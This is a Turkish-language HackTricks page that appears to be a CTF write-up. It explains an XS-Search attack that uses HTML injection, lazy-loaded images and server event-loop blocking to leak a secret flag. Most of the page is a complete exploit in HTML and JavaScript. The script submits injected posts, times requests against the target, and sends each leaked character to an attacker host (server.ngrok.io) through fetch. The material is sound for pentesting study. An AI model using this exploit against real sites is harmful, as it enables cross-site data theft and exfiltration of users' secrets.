hacktricks/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

155 lines
4.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Event Loop Blocking + Lazy images
{{#include ../../banners/hacktricks-training.md}}
In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) **lazy image yan kanal** tekniğini bir HTML enjeksiyonu ile birleştirerek **event loop blocking tekniği** kullanarak karakterleri sızdırıyor.
Bu, aşağıdaki sayfada daha önce yorumlanan **CTF chall** için **farklı bir istismar**. Challenge hakkında daha fazla bilgi için göz atın:
{{#ref}}
connection-pool-example.md
{{#endref}}
Bu istismarın arkasındaki fikir:
- Gönderiler alfabetik olarak yüklenir
- Bir **saldırgan** **"A"** ile başlayan bir **gönderi** **enjekte** edebilir, ardından bazı **HTML etiketleri** (büyük bir **`<canvas`** gibi) ekranın çoğunu dolduracak ve bazı son **`<img lazy` etiketleri** yüklemek için kullanılacaktır.
- Eğer bir "A" yerine **saldırgan aynı gönderiyi "z" ile başlatıyorsa.** **Bayrak** ile olan **gönderi** **ilk** olarak görünecek, ardından **enjekte** edilen **gönderi** başlangıçta "z" ile görünecek ve **büyük** **canvas**. Bayrak ile olan gönderi ilk göründüğü için, ilk canvas tüm ekranı kaplayacak ve son **`<img lazy`** etiketleri ekranda **görünmeyecek**, bu nedenle **yüklenmeyecek**.
- Sonra, **bot** sayfaya **erişirken**, **saldırgan** **fetch istekleri** gönderecek.
- Eğer gönderideki **görüntüler** **yükleniyorsa**, bu **fetch** istekleri **daha uzun** sürecek, böylece saldırgan **gönderinin bayraktan önce olduğunu** bilecek (alfabetik olarak).
- Eğer **fetch** istekleri **hızlıysa**, bu, **gönderinin** **alfabetik olarak** **bayraktan sonra** olduğu anlamına gelir.
Kodumuza bakalım:
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form
id="f"
action="http://localhost:1234/create"
method="POST"
target="_blank">
<input id="inp" name="text" value="" />
</form>
<!-- Remove index -->
<form
id="f2"
action="http://localhost:1234/remove"
method="POST"
target="_blank">
<input id="inp2" name="index" value="" />
</form>
<script>
let flag = "SEKAI{"
const TARGET = "https://safelist.ctf.sekai.team"
f.action = TARGET + "/create"
f2.action = TARGET + "/remove"
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
// Function to leak info to attacker
const send = (data) => fetch("http://server.ngrok.io?d=" + data)
const charset = "abcdefghijklmnopqrstuvwxyz".split("")
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for (let i = R; i >= L; i--) {
let c = charset[i]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
send("found: " + flag + c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise((resolve) => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value =
str +
'<br><canvas height="3350px"></canvas><br>' +
Array.from({ length: 20 })
.map((_, i) => `<img loading=lazy src=/?${i}>`)
.join("")
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for (let i = 1; i <= 5; i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for (let i = 0; i < round; i++) {
let s = performance.now()
await fetch(TARGET + "/?test", {
mode: "no-cors",
}).catch((err) => 1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t / round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = t >= 1000
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}